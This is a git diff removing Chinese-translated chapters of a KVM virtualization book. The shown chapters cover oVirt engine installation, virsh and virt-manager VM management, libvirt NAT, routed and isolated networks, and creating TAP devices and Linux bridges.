-既然我们已经介绍了个基本的命令行实用程序(`virsh`和`virt-install`),并且已经有了一个非常易于使用的 GUI 应用(Virtual Machine Manager),那么让我们从这个角度来考虑一下我们所说的关于 oVirt 以及管理大量主机、虚拟机、网络和存储设备的内容。 现在,让我们讨论如何安装 oVirt,然后我们将使用它以更集中的方式管理基于 KVM 的环境。 - -## 安装 oVirt - -安装 oVirt 有不同的方法。 我们既可以将其部署为自托管引擎(通过驾驶舱 Web 界面或 CLI),也可以通过基于软件包的安装将其部署为独立应用。 让我们在本例中使用第二种方式-在虚拟机中进行独立安装。 我们将把安装分为两部分: - -1. 安装 oVirt 引擎以实现集中管理 -2. 在基于 CentOS 8 的主机上部署 oVirt 代理 - -首先,让我们来处理 oVirt 引擎部署。 部署非常简单,人们通常使用一台虚拟机来实现这一目的。 请记住,oVirt 不支持 CentOS 8,因此在我们的 CentOS 8 虚拟机中,我们需要输入几个命令: - -```sh -yum install https://resources.ovirt.org/pub/yum-repo/ovirt-release44.rpm -yum -y module enable javapackages-tools pki-deps postgresql:12 -yum -y update -yum -y install ovirt-engine -``` - -同样,这只是安装部分;到目前为止,我们还没有进行任何配置。 所以,这就是我们合乎逻辑的下一步。 我们需要启动一个名为`engine-setup`的 shell 应用,它将向我们提出大约 20 个问题。 它们相当具有描述性,而解释实际上是由引擎设置直接提供的,因此以下是我们在测试环境中使用的设置(FQDN 在您的环境中会有所不同): - -![Figure 3.5 – oVirt configuration settings ](img/B14834_03_05.jpg) - -图 3.5-oVirt 配置设置 - -输入`OK`后,引擎设置将启动。 最终结果应该如下所示: - -![Figure 3.6 – oVirt engine setup summary ](img/B14834_03_06.jpg) - -图 3.6-oVirt 引擎设置摘要 - -现在,我们应该能够通过使用 Web 浏览器并将其指向安装摘要中提到的 URL 来登录到 oVirt 引擎。 在安装过程中,我们被要求提供`admin@internal`用户的密码-这是我们将用于管理环境的 oVirt 管理用户。 OVirt Web 界面非常易于使用,目前,我们只需登录到 Administration Portal(在您尝试登录之前,可以在 oVirt Engine Web GUI 上直接找到一个链接)。 登录后,我们应该会看到 oVirt GUI: - -![Figure 3.7 – oVirt Engine Administration Portal ](img/B14834_03_07.jpg) - -图 3.7-oVirt 引擎管理门户 - -我们在屏幕左侧有各种选项卡-**Dashboard**、**Compute**、**Network**、**Storage**和**Administration**-和。 - -* **Dashboard**:默认登录页。 它包含最重要的信息,即我们环境健康状况的直观表示,以及一些基本信息,包括我们正在管理的虚拟数据中心的数量、群集、主机、数据存储域等。 -* **计算**:我们转到此页面来管理主机、虚拟机、模板、池、数据中心和集群。 -* **网络**:我们转到此页面来管理我们的虚拟化网络和配置文件。 -* **存储**:我们转到此页面来管理存储资源,包括磁盘、卷、域和数据中心。 -* **Administration**:用于管理用户、配额等。 - -我们将在[*第 7 章*](07.html#_idTextAnchor125),*虚拟机-安装、配置和生命周期管理*中处理更多与 oVirt 相关的操作,这都是关于 oVirt 的。 但现在,让我们保持 oVirt 引擎的正常运行,这样我们以后就可以重新使用它,并将其用于我们基于 KVM 的虚拟化环境中的所有日常操作。 - -# 使用 qemu 和 libvirt 启动虚拟机 - -在部署过程之后,我们可以开始管理我们的台虚拟机。 我们将使用`MasteringKVM01`和`MasteringKVM02`作为的例子。 让我们使用`virsh`命令和`start`关键字启动它们: - -![Figure 3.8 – Using the virsh start command ](img/B14834_03_08.jpg) - -图 3.8-使用 virsh start 命令 - -假设我们从 shell 脚本示例创建了所有五台虚拟机,并且让它们保持开机状态。 我们可以通过发出一个简单的`virsh list`命令轻松地检查它们的状态: - -![Figure 3.9 – Using the virsh list command ](img/B14834_03_09.jpg) - -图 3.9-使用 virsh list 命令 - -如果我们想要正常地关闭`MasteringKVM01`虚拟机,我们可以使用`virsh shutdown`命令来执行此操作: - -![Figure 3.10 – Using the virsh shutdown command ](img/B14834_03_10.jpg) - -图 3.10-使用 virsh shutdown 命令 - -如果我们想要强制关闭`MasteringKVM02`个虚拟机,可以使用`virsh destroy`命令: - -![Figure 3.11 – Using the virsh destroy command ](img/B14834_03_11.jpg) - -图 3.11-使用 virsh 销毁命令 - -如果我们想要完全删除虚拟机(例如,`MasteringKVM02`),通常需要首先(优雅地或强制地)关闭它,然后使用`virsh undefine`命令: - -![Figure 3.12 – Using the virsh destroy and undefine commands ](img/B14834_03_12.jpg) - -图 3.12-使用 virsh DESTORY 和 UNDEFINE 命令 - -请记住,您实际上可以先做`virsh undefine`,然后做`destroy`,最终结果将是相同的。 但是,这可能会违反*预期行为*,即在实际删除对象之前先关闭该对象。 - -我们刚刚学习了如何使用`virsh`命令来管理虚拟机--启动和停止--有力而优雅。 在接下来的章中,我们将学习如何管理 KVM 网络和存储,当我们开始使用`virsh`命令扩展我们对的知识时,这个将派上用场。 - -我们也可以从 GUI 中执行所有这些操作。 您可能还记得,在本章早些时候,我们安装了一个名为`virt-manager`的包。 这实际上是一个用于管理 KVM 主机的 GUI 应用。 让我们用它来玩更多的虚拟机。 这是`virt-manager`的基本 GUI 界面: - -![Figure 3.13 – The virt-manager GUI – we can see the list of registered virtual machines and start managing them ](img/B14834_03_13.jpg) - -图 3.13-virt 管理器 GUI-我们可以看到已注册的虚拟机列表并开始管理它们 - -如果我们想要在虚拟机上执行常规操作-启动、重新启动、关机、关闭-我们只需右键单击它并从菜单中选择该选项。 要使所有操作变得可见,首先,我们必须启动一个虚拟机;否则,在可用的七个操作中,只有四个操作可用-**运行**、**克隆**、**删除**和**打开**。 **暂停**、**关闭**子菜单和**迁移**选项将呈灰色显示,因为它们只能在已开机的虚拟机上使用。 因此,例如,在我们启动`MasteringKVM01`之后,可用选项的列表将变得更大: - -![Figure 3.14 – The virt-manager options – after powering the virtual machine on, we can now use many more options ](img/B14834_03_14.jpg) - -图 3.14-virt-manager 选项-打开虚拟机后,我们现在可以使用更多选项 - -在本书中,我们将使用`virt-manager`进行各种操作,因此请确保您熟悉它。 在许多情况下,这将使我们的管理工作变得更小一些。 - -# 摘要 - -在这一章中,我们为本书其余章节将要做的几乎所有事情奠定了一些基本的基础和前提条件。 我们学习了如何安装 KVM 和 libvirt 堆栈。 我们还学习了如何将 oVirt 部署为管理 KVM 主机的 GUI 工具。 - -接下来的几章将带我们进入一个更具技术性的方向,因为我们将涵盖网络和存储概念。 要做到这一点,我们必须后退一步,学习或回顾我们之前关于网络和存储的知识,因为这些对于虚拟化,尤其是云来说都是极其重要的概念。 - -# 问题 - -1. 我们如何验证我们的主机是否符合 KVM 要求? -2. OVirt 的默认登录页面名称是什么? -3. 我们可以从命令行使用哪个命令来管理虚拟机? -4. 我们可以从命令行使用哪个命令来部署虚拟机? - -# 进一步阅读 - -有关本章内容的更多信息,请参阅以下链接: - -* KickStart 生成器:[https://access.redhat.com/labs/kickstartconfig/](https://access.redhat.com/labs/kickstartconfig/)。 提醒您一下,您需要拥有 RedHat 支持帐户才能访问此链接。 -* OVirt:[https://www.ovirt.org/](https://www.ovirt.org/)。* \ No newline at end of file diff --git a/docs/master-kvm-virtual/04.md b/docs/master-kvm-virtual/04.md deleted file mode 100644 index f3ee553a..00000000 --- a/docs/master-kvm-virtual/04.md +++ /dev/null @@ -1,681 +0,0 @@ -# 四、Libvirt 网络 - -了解虚拟网络的工作原理对于虚拟化非常重要。 我们很难证明与没有虚拟网络的场景相关的成本是合理的。 想象一下,在一台虚拟化主机上有多台虚拟机,并购买网卡,这样每台虚拟机都可以拥有自己的专用物理网络端口。 通过实施虚拟网络,我们还在以一种更易于管理的方式整合网络,无论是从管理角度还是从成本角度都是如此。 - -本章让您深入了解虚拟化网络的总体概念和基于 Linux 的网络概念。 我们还将讨论物理网络和虚拟网络的概念,尝试对它们进行比较,找出它们之间的异同。 本章还介绍了针对每个主机的虚拟交换概念和跨主机概念,以及一些更高级的主题。 这些主题包括单根输入/输出虚拟化,它为某些场景提供了一种更直接的硬件方法。 当我们开始讨论云覆盖网络时,我们将在本书后面回到一些网络概念上。 这是因为基本的网络概念对于大型云环境的可扩展性不够。 - -在本章中,我们将介绍以下主题: - -* 了解物理和虚拟网络 -* 使用 TAP/TUN -* 实现 Linux 桥接 -* 配置开放 vSwitch -* 了解和配置 SR-IOV -* 了解 MACVTAP -* 我们开始吧! - -# 了解物理和虚拟网络 - -让我们花点时间考虑一下网络。 这是当今大多数系统管理员都非常了解的主题。 这可能没有达到我们许多人认为的水平,但如果我们试图找到一个系统管理领域,在那里我们可以找到最大的共同知识水平,那就是网络。 - -那么,这有什么问题呢? - -实际上,没什么大不了的。 如果我们真正了解物理网络,虚拟网络对我们来说将是小菜一碟。 剧透警告:*这是一回事*。 如果我们不这样做,它很快就会暴露出来,因为我们别无选择。 随着时间的推移,问题会变得越来越大,因为环境在演变,而且通常会增长。 它们越大,它们产生的问题就越多,您在调试模式中花费的时间就越多。 - -也就是说,如果您完全在技术层面上牢牢掌握了 VMware 或基于 Microsoft 的虚拟网络,那么您在这里就可以了,因为所有这些概念都非常相似。 - -有了这些,关于虚拟网络的所有喧嚣又是什么呢? 这实际上是关于理解事情在哪里发生,如何发生,以及为什么发生。 这是因为,从物理上讲,虚拟网络与物理网络完全相同。 从逻辑上讲,有一些差异更多地与事物的*拓扑*有关,而不是与事物的原理或工程方面有关。 这就是通常会让人有点反感的地方--有一些奇怪的、基于软件的对象,它们的功能与我们大多数人已经习惯于通过我们最喜欢的基于 CLI 或 GUI 的实用程序来管理的物理对象具有相同的功能。 - -首先,让我们介绍虚拟化网络的基本构建块-虚拟交换机。 虚拟交换机基本上是基于软件的第 2 层交换机,您可以使用它来做两件事: - -* 将您的虚拟机连接到它。 -* 使用其上行链路将它们连接到物理服务器卡,以便您可以将这些物理网卡连接到物理交换机。 - -那么,让我们从虚拟机的角度来说明我们为什么需要这些虚拟交换机。 如前所述,我们使用虚拟交换机将虚拟机连接到它。 为什么? 嗯,如果我们的物理网卡和虚拟机之间没有某种软件对象,我们会有一个大问题-我们只能将有物理网络端口的虚拟机连接到我们的物理网络,这将是不可容忍的。 首先,它违背了虚拟化的一些基本原则,如效率和整合,其次,它的成本很高。 想象一下,您的服务器上有 20 台虚拟机。 这意味着,如果没有虚拟交换机,您必须至少有 20 个物理网络端口才能连接到物理网络。 最重要的是,您实际上还会在物理交换机上使用 20 个物理端口,这将是一场灾难。 - -因此,通过在虚拟机和物理网络端口之间引入虚拟交换机,我们同时解决了两个问题--减少了每台服务器所需的物理网络适配器数量,以及减少了将虚拟机连接到网络所需的物理交换机端口数量。 我们实际上可以说,我们正在解决第三个问题-效率-因为在许多情况下,一块物理网卡可以处理连接到虚拟交换机的 20 台虚拟机的上行链路。 具体地说,我们的环境中有很大一部分并不消耗大量的网络流量,对于这些场景,虚拟网络的效率令人惊叹。 - -# 虚拟网络 - -现在,为了使虚拟交换机能够连接到虚拟机上的某个东西,我们必须有一个要连接的对象-该对象称为虚拟网络接口卡,通常称为 vNIC。 每次使用虚拟网卡配置虚拟机时,都会使其能够连接到使用物理网卡作为物理交换机上行链路的虚拟交换机。 - -当然,这种方法也有一些潜在的缺点。 例如,如果您有 50 台虚拟机连接到使用相同物理网卡作为上行链路的同一虚拟交换机,但上行链路出现故障(由于网卡问题、电缆问题、交换机端口问题或交换机问题),则您的 50 台虚拟机将无法访问物理网络。 我们如何绕过这个问题呢? 通过实施更好的设计,并遵循我们在物理网络上也会使用的基本设计原则。 具体地说,我们将使用多条物理上行链路连接到同一虚拟交换机。 - -Linux 有许多不同类型的网络接口*,大约有 20 种不同的类型,其中一些如下所示:* - - ** **网桥**:(虚拟机)联网的第 2 层接口。 -* **绑定**:用于将个网络接口合并到单个接口(出于平衡和故障转移原因)为一个逻辑接口。 -* **团队**:与绑定不同,绑定不会创建一个逻辑接口,但仍然可以进行平衡和故障转移。 -* **MACVLAN**:在第 2 层的单个物理接口上创建个 MAC 地址(创建子接口)。 -* **IPVLAN**:与 MACVLAN 不同,IPVLAN 使用相同的 MAC 地址并在第 3 层进行多路复用。 -* **MACVTAP/IPVTAP**:较新的驱动程序,通过将 TUN、TAP 和网桥组合为单个模块来简化虚拟网络。 -* **VXLAN**:一个常用的云覆盖网络概念,我们将在[*第 12 章*](12.html#_idTextAnchor209),*使用 OpenStack 扩展 KVM*中详细描述。 -* **veth**:虚拟以太网接口,可通过多种方式用于本地隧道。 -* **IPOIB**:IP overInfiniband。 随着 Infiniband 在 HPC/低延迟网络中获得吸引力,Linux 内核也支持这种类型的网络。 - -还有一大堆其他的。 然后,在这些网络接口类型之上,还有大约 10 种隧道接口类型,其中一些类型如下: - -* **GRETAP**、**GRE**:分别用于封装第 2 层和第 3 层协议的通用路由封装协议。 -* **Geneve**:用于云覆盖网络的融合协议,旨在将 VXLAN、GRE 和其他协议融合为一个。 这就是 Open vSwitch、VMware NSX 和其他产品支持它的原因。 -* **IPIP**:IP over IP 隧道,用于通过公网连接内部 IPv4 子网。 -* **SIT**:简单的 Internet 转换,用于通过 IPv4 互连隔离的 IPv6 网络。 -* **ip6tnl**:IPv6 隧道接口上的 IPv4/6 隧道。 -* **IP6GRE**、**IP6GRETAP**和其他。 - -了解所有这些接口是一个相当复杂和乏味的过程,因此,在本书中,我们将只关注对我们来说对于虚拟化和(本书后面部分)云非常重要的接口类型。 这就是为什么我们将在[*第 12 章*](12.html#_idTextAnchor209),*使用 OpenStack*横向扩展 KVM 中讨论 VXLAN 和 Geneve 覆盖网络的原因,因为我们还需要牢牢掌握**软件定义网络**(**SDN**)。 - -因此,具体地说,作为本章的一部分,我们将介绍 TAP/TUN、桥接、Open vSwitch 和 MacvTap 接口,因为这些都是 KVM 虚拟化最重要的网络概念。 - -但在我们深入研究这一点之前,让我们先解释几个适用于 KVM/libvirt 网络和其他虚拟化产品的基本虚拟网络概念(例如,VMware 的托管虚拟化产品,如 Workstation 或 Player 使用相同的概念)。 当您开始配置 libvirt 网络时,您可以选择三种基本类型:NAT、路由和隔离。 让我们讨论一下这些网络模式的作用。 - -## Libvirt NAT 网络 - -在**NAT**libvirt 网络中(为了确保我们提到这一点,*默认的*网络是这样配置的),我们的虚拟机位于 NAT 模式下的 libvirt 交换机后面。 想想你的*我有一个互联网连接@home 方案*--这正是我们大多数人所拥有的:我们自己的*私有*网络在一个公共 IP 地址后面。 这意味着我们用于访问互联网的设备(例如,DSL 调制解调器)连接到公共网络(Internet),并作为该过程的一部分获得公共 IP 地址。 在我们的网络一侧,我们有自己的子网(例如,`192.168.0.0/24`或类似的东西),用于我们想要连接到互联网的所有设备。 - -现在,让我们将其转换为一个虚拟化网络示例。 在我们的虚拟机场景中,这意味着我们的虚拟机可以通过主机的 IP 地址与任何连接到物理网络的设备通信,但不能反之亦然。 为了与 NAT 交换机后面的虚拟机进行通信,我们的虚拟机必须启动该通信(或者我们必须设置某种端口转发,但这不是重点)。 - -下面的图表可能更好地解释了我们正在讨论的内容: - -![Figure 4.1 – libvirt networking in NAT mode ](img/B14834_04_01.jpg) - -图 4.1-NAT 模式下的 libvirt 联网 - -从虚拟机的角度来看,它愉快地位于完全独立的网段(因此使用`192.168.122.210`和`220`IP 地址),并使用虚拟网络交换机作为其访问外部网络的网关。 它不必考虑任何类型的额外路由,因为这是我们使用 NAT 来简化端点路由的原因之一。 - -## Libvirt 路由网络 - -第二种网络类型是路由网络,这基本上意味着我们的虚拟机通过虚拟交换机直接连接到物理网络。 这意味着我们的虚拟机与物理主机位于相同的第 2/3 层网络中。 这种类型的网络连接非常常用,因为通常不需要单独的 NAT 网络来访问您环境中的虚拟机。 在某种程度上,这只会让事情变得更加复杂,特别是因为您必须配置路由才能知道您正在为虚拟机使用的 NAT 网络。 使用路由模式时,虚拟机位于与下一个物理设备相同的网段中。 下图讲述了有关路由网络的千言万语: - -![Figure 4.2 – libvirt networking in routed mode ](img/B14834_04_02.jpg) - -图 4.2-路由模式下的 libvirt 网络 - -现在我们已经介绍了两种最常用的虚拟机联网场景,接下来是第三种场景,它看起来有点晦涩难懂。 如果我们配置的虚拟交换机没有任何*上行链路*(这意味着它没有连接物理网卡),则该虚拟交换机根本无法向物理网络发送流量。 剩下的就是在该交换机本身的限制内进行通信,因此被命名为*Isolated*。 现在让我们创建难以捉摸的隔离网络。 - -## Libvirt 隔离网络 - -在此场景中,连接到同一隔离交换机的虚拟机可以相互通信,但它们不能与运行它们的主机之外的任何设备通信。 我们在前面使用了单词*模糊*来描述此场景,但实际上并非如此-在某些方面,它实际上是*隔离*特定类型流量的理想方式,因此它甚至不会到达物理网络。 - -这样想吧--假设您有一台托管 Web 服务器的虚拟机,例如,运行 WordPress 的虚拟机。 您将创建两个虚拟交换机:一个运行路由网络(直接连接到物理网络),另一个是隔离的。 然后,您可以使用两个虚拟网卡配置您的 WordPress 虚拟机,第一个连接到路由的虚拟交换机,第二个连接到隔离的虚拟交换机。 WordPress 需要一个数据库,因此您可以创建另一个虚拟机,并将其配置为仅使用内部虚拟交换机。 然后,使用隔离的虚拟交换机*隔离 Web 服务器和数据库服务器之间的*流量,以便 WordPress 通过该交换机连接到数据库服务器。 通过这样配置虚拟机基础设施,您得到了什么? 您有一个两层应用,并且该 Web 应用(数据库)的最重要部分无法从外部世界访问。 这主意看起来没那么糟,对吧? - -隔离虚拟网络用于许多其他与安全相关的场景中,但这只是一个我们很容易理解的示例场景。 - -让我们用图来描述我们的隔离网络: - -![Figure 4.3 – libvirt networking in isolated mode ](img/B14834_04_03.jpg) - -图 4.3-隔离模式下的 libvirt 联网 - -本书的上一章([*第 3 章*](03.html#_idTextAnchor049),*安装 KVM Hypervisor、libvirt 和 ovirt*)提到了*默认的*网络,我们说我们稍后会讨论这个问题。 现在似乎是执行此操作的好时机,因为现在我们有足够的信息来描述默认网络配置是什么。 - -当我们像在[*第 3 章*](03.html#_idTextAnchor049),*安装 KVM Hypervisor、libvirt 和 oVirt*中所做的那样安装所有必要的 KVM 库和实用程序时,就会配置一个默认的虚拟交换机。 这样做的原因很简单-预先配置一些东西,这样用户就可以开始创建虚拟机并将它们连接到默认网络,而不是预期用户也会进行配置,这样更方便用户。 VMware 的 vSphere 虚拟机管理器执行相同的操作(默认交换机称为 vSwitch0),Hyper-V 在部署过程中要求我们配置第一个虚拟交换机(我们可以稍后跳过并配置它)。 因此,这只是一个广为人知的标准化的既定方案,使我们能够更快地开始创建虚拟机。 - -默认虚拟交换机在 DHCP 服务器处于活动状态的情况下在 NAT 模式下工作,原因也很简单-默认情况下,访客操作系统预先配置了 DHCP 网络配置,这意味着我们刚刚创建的虚拟机将轮询网络以获取必要的 IP 配置。 这样,虚拟机就可以获得所有必要的网络配置,我们可以立即开始使用它。 - -下图显示了默认 KVM 网络的功能: - -![Figure 4.4 – libvirt default network in NAT mode ](img/B14834_04_04.jpg) - -图 4.4-NAT 模式下的 libvirt 默认网络 - -现在,让我们学习如何从 shell 和 GUI 配置这些类型的虚拟网络概念。 我们将此过程视为需要按顺序完成的过程: - -1. Let's start by exporting the default network configuration to XML so that we can use it as a template to create a new network: - - ![Figure 4.5 – Exporting the default virtual network configuration ](img/B14834_04_05.jpg) - - 图 4.5-导出默认虚拟网络配置 - -2. Now, let's copy that file to a new file called `packtnat.xml`, edit it, and then use it to create a new NAT virtual network. Before we do that, however, we need to generate two things – a new object UUID (for our new network) and a unique MAC address. A new UUID can be generated from the shell by using the `uuidgen` command, but generating a MAC address is a bit trickier. So, we can use the standard Red Hat-proposed method available on the Red Hat website: [https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/virtualization_administration_guide/sect-virtualization-tips_and_tricks-generating_a_new_unique_mac_address](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/virtualization_administration_guide/sect-virtualization-tips_and_tricks-generating_a_new_unique_mac_address). By using the first snippet of code available at that URL, create a new MAC address (for example, `00:16:3e:27:21:c1`). - - 使用`yum`命令安装 python2: - - ```sh - yum -y install python2 - ``` - - 确保更改 XML 文件,使其反映我们正在配置新网桥(`virbr1`)的事实。 现在,我们可以完成新虚拟机网络 XML 文件的配置: - - ![Figure 4.6 – New NAT network configuration ](img/B14834_04_06.jpg) - - 图 4.6-新的 NAT 网络配置 - - 下一步是导入此配置。 - -3. 现在,我们可以使用`virsh`命令导入该配置并创建新的虚拟网络,启动该网络并使其永久可用,并检查是否正确加载了所有内容: - - ```sh - virsh net-define packtnat.xml - virsh net-start packtnat - virsh net-autostart packtnat - virsh net-list - ``` - -鉴于我们没有删除默认虚拟网络,最后一个命令应该会给出以下输出: - -![Figure 4.7 – Using virsh net-list to check which virtual networks we have on the KVM host ](img/B14834_04_07.jpg) - -图 4.7-使用 virsh net-list 检查 KVM 主机上有哪些虚拟网络 - -现在,让我们再创建两个虚拟网络-桥接网络和隔离网络。 同样,让我们使用文件作为模板来创建这两个网络。 请记住,为了能够创建桥接网络,我们将需要一个物理网络适配器,因此我们需要在服务器中有一个可用于该目的的物理适配器。 在我们的服务器上,该接口称为`ens224`,而默认的 libvirt 网络正在使用名为`ens192`的接口。 因此,让我们创建名为`packtro.xml`(用于我们的路由网络)和`packtiso.xml`(用于我们的隔离网络)的两个配置文件: - -![Figure 4.8 – libvirt routed network definition ](img/B14834_04_08.jpg) - -图 4.8-libvirt 路由网络定义 - -在此特定配置中,我们使用`ens224`作为到路由虚拟网络的上行链路,该虚拟网络将使用与`ens224`所连接的物理网络相同的子网(`192.168.2.0/24`): - -![Figure 4.9 – libvirt isolated network definition ](img/B14834_04_09.jpg) - -图 4.9-libvirt 隔离网络定义 - -为了说明我们的基础,我们可以使用 Virtual Machine Manager GUI 轻松地配置所有这些功能,因为该应用也有一个用于创建虚拟网络的向导。 但是,当我们讨论更大的环境时,导入 XML 的过程要简单得多,即使我们忘记了许多 KVM 虚拟化主机根本没有安装 GUI 这一事实。 - -到目前为止,我们已经从整体主机级别讨论了虚拟网络。 然而,对于这个主题还有一种不同的方法-使用虚拟机作为对象,我们可以在其中添加虚拟网卡并将其连接到虚拟网络。 为此,我们可以使用`virsh`。 因此,仅作为示例,我们可以将名为`MasteringKVM01`的虚拟机连接到隔离的虚拟网络: - -```sh -virsh attach-interface --domain MasteringKVM01 --source isolated --type network --model virtio --config --live -``` - -还有其他允许虚拟机连接到物理网络的概念,其中一些我们将在本章后面讨论(例如 SR-IOV)。 但是,既然我们已经介绍了使用虚拟交换机/网桥将虚拟机连接到物理网络的基本方法,我们需要了解更多的技术知识。 问题是,将虚拟机连接到虚拟交换机涉及更多概念,例如 TAP 和 Tun,我们将在下一节中介绍它们。 - -# 通过 TAP 和 TUN 设备使用用户空间网络 - -在[*第 1 章*](01.html#_idTextAnchor016),*了解 Linux 虚拟化*中,我们使用`virt-host-validate`命令根据主机对 KVM 虚拟化的准备情况进行了一些飞行前检查。 作为该过程的一部分,一些检查包括检查是否存在以下设备: - -* `/dev/kvm`:KVM 驱动程序在主机上创建`/dev/kvm`字符设备,以方便虚拟机的直接硬件访问。 没有此设备意味着虚拟机将无法访问物理硬件,尽管它已在 BIOS 中启用,这将显著降低虚拟机的性能。 -* `/dev/vhost-net`:将在主机上创建`/dev/vhost-net`字符设备。 此设备用作配置`vhost-net`实例的接口。 没有此设备会显著降低虚拟机的网络性能。 -* `/dev/net/tun`:这是另一个字符特殊设备,用于创建 Tun/TAP 设备,以促进虚拟机的网络连接。 TUN/TAP 设备将在后续章节中详细说明。 现在,只需了解拥有一个字符设备对于 KVM 虚拟化正常工作非常重要。 - -让我们来关注最后一个设备,Tun 设备,它通常伴随着一个轻击设备。 - -到目前为止,我们讨论的所有概念都包括到物理网卡的某种连接,隔离虚拟网络是一个例外。 但即使是孤立的虚拟网络也只是我们的虚拟机的虚拟网络。 当我们需要在用户空间进行通信时(例如在服务器上运行的应用之间),会发生什么情况? 通过某种虚拟交换机概念或常规网桥来修补它们是没有用的,因为这只会带来额外的开销。 这就是 Tun/TAP 设备的用武之地,为用户空间程序提供数据包流。 很容易,应用可以打开`/dev/net/tun`并使用`ioctl()`函数在内核中注册网络设备,而内核又将其自身表示为 tunXX 或 tapXX 设备。 当应用关闭该文件时,由其创建的网络设备和路由将消失(如内核`tuntap.txt`文档中所述)。 因此,它只是 Linux 内核支持的 Linux 操作系统的一种虚拟网络接口-您可以添加一个 IP 地址并将其路由到该接口,以便来自应用的流量可以通过它路由,而不是通过常规的网络设备。 - -Tun 通过创建通信隧道(类似于点对点隧道)来模拟 L3 设备。 当 TunTAP 驱动程序配置为 TUN 模式时,它会激活。 当您激活它时,您从描述符(配置它的应用)收到的任何数据都将是常规 IP 包形式的数据(作为最常用的情况)。 此外,当您发送数据时,它会作为常规 IP 包写入 Tun 设备。 这种类型的接口有时用于测试、开发和调试以进行模拟。 - -TAP 接口基本上模拟 L2 以太网设备。 当 TUNTAP 驱动程序配置为 TAP 模式时,它会被激活。 当您激活它时,与 Tun 接口(第 3 层)不同,您会得到第 2 层原始以太网数据包,包括 ARP/RARP 数据包和其他所有数据包。 基本上,我们谈论的是虚拟化的第 2 层以太网连接。 - -这些概念(特别是 TAP)也可以在 libvirt/QEMU 上使用,因为通过使用这些类型的配置,我们可以创建从主机到虚拟机的连接-作为示例,无需 libvirt 桥/交换机。 我们实际上可以配置 Tun/TAP 接口的所有必要细节,然后使用`kvm-qemu`选项开始部署直接连接到这些接口的虚拟机。 因此,这是一个相当有趣的概念,在虚拟化世界中也占有一席之地。 当我们开始创建 Linux 网桥时,这一点尤其有趣。 - -# 实现 Linux 桥接 - -让我们创建一个桥,然后向其添加一个分路设备。 在此之前,我们必须确保桥模块已加载到内核中。 让我们开始吧: - -1. If it is not loaded, use `modprobe bridge` to load the module: - - ```sh - # lsmod | grep bridge - ``` - - 运行以下命令创建名为`tester`的网桥: - - ```sh - # brctl addbr tester - ``` - - 让我们看看桥是否已创建: - - ```sh - # brctl show - bridge name bridge id STP enabled interfaces - tester 8000.460a80dd627d no - ``` - - `# brctl show`命令将列出服务器上所有可用的网桥,以及一些基本信息,例如网桥 ID、**生成树协议**(**STP**)状态以及连接到它的接口。 这里,测试器桥没有任何接口连接到其虚拟端口。 - -2. A Linux bridge will also be shown as a network device. To see the network details of the bridge tester, use the `ip` command: - - ```sh - # ip link show tester - 6: tester: mtu 1500 qdiscnoop state DOWN mode - DEFAULT group default link/ether 26:84:f2:f8:09:e0 brdff:ff:ff:ff:ff:ff - ``` - - 您还可以使用`ifconfig`检查和配置 Linux 网桥的网络设置;`ifconfig`相对容易阅读和理解,但功能不如`ip`命令丰富: - - ```sh - # ifconfig tester - tester: flags=4098mtu 1500 - ether26:84:f2:f8:09:e0txqueuelen 1000 (Ethernet) - RX packets 0 bytes 0 (0.0 B) - RX errors 0 dropped 0 overruns 0 frame 0 - TX packets 0 bytes 0 (0.0 B) - TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 - ``` - - Linux 网桥测试仪现在已经准备好了。 让我们创建一个 TAP 设备并将其添加到其中。 - -3. First, check if the TUN/TAP device module is loaded into the kernel. If not, you already know the drill: - - ```sh - # lsmod | greptun - tun 28672 1 - ``` - - 运行以下命令以创建名为`vm-vnic`的 TAP 设备: - - ```sh - # ip tuntap add dev vm-vnic mode tap - # ip link show vm-vnic - 7: vm-vnic: mtu 1500 qdiscnoop state DOWN - mode DEFAULT group default qlen 500 link/ether 46:0a:80:dd:62:7d - brdff:ff:ff:ff:ff:ff - ``` - - 现在我们有一个名为`tester`的网桥和一个名为`vm-vnic`的分路设备。 让我们将`vm-vnic`添加到`tester`: - - ```sh - # brctl addif tester vm-vnic - # brctl show - bridge name bridge id STP enabled interfaces - tester 8000.460a80dd627d no vm-vnic - ``` - -在这里,您可以看到`vm-vnic`是添加到`tester`网桥的接口。 现在,`vm-vnic`可以充当您的虚拟机和`tester`网桥之间的接口,从而使虚拟机能够与添加到此网桥的其他虚拟机进行通信: - -![Figure 4.10 – Virtual machines connected to a virtual switch (bridge) ](img/B14834_04_10.jpg) - -图 4.10-连接到虚拟交换机(网桥)的虚拟机 - -您可能还需要删除在上一步骤中创建的所有对象和配置。 让我们通过命令行逐步完成此操作: - -1. First, we need to remove the `vm-vnic` tap device from the `tester` bridge: - - ```sh - # brctl delif tester vm-vnic - # brctl show tester - bridge name bridge id STP enabled interfaces - tester 8000.460a80dd627d no - ``` - - 从网桥上移除`vm-vnic`后,使用`ip`命令移除分接设备: - - ```sh - # ip tuntap del dev vm-vnic mode tap - ``` - -2. 然后,卸下测试仪桥接器: - - ```sh - # brctl delbr tester - ``` - -这些步骤与 libvirt 在启用或禁用虚拟机联网时在后端执行的步骤相同。 我们希望您在继续之前彻底了解此过程。 既然我们已经介绍了 Linux 桥接,现在是时候转向一个更高级的概念,称为 Open vSwitch 了。 - -# 配置开放 vSwitch - -想象一下,假设您在一家小公司工作,该公司有三到四台 KVM 主机、两台网络连接存储设备来托管其 15 台虚拟机,并且您从一开始就被该公司聘用。 因此,您已经看到了一切-公司购买了一些服务器、网络交换机、电缆和存储设备,而您是构建该环境的一个小团队中的一员。 经过两年的过程,你会意识到一切都很正常,维护起来也很简单,也不会给你带来太多的痛苦。 - -现在,想象一下您的一位朋友在一家规模更大的企业工作,该公司有 400 台 KVM 主机和近 2,000 台虚拟机需要管理,他的工作与您在小公司的办公室舒适的椅子上做的工作相同。 - -你认为你的朋友可以使用和你一样的工具来管理他或她的环境吗? 网络交换机配置的 XML 文件,从可引导的 USB 驱动器部署服务器,手动配置所有内容,还有时间这样做吗? 你觉得这有可能吗? - -第二种情况有两个基本问题: - -* 环境的规模:这一点更明显。 由于环境的大小,您需要某种集中管理的概念,而不是在每个主机级别上进行管理,比如我们到目前为止讨论的虚拟交换机。 -* 公司政策:这些政策通常要求尽可能多地遵循配置标准化。 现在,我们可以同意我们可以通过 Ansible、Pupppet 或类似的东西编写一些配置更新脚本,但这有什么用呢? 每次需要对 KVM 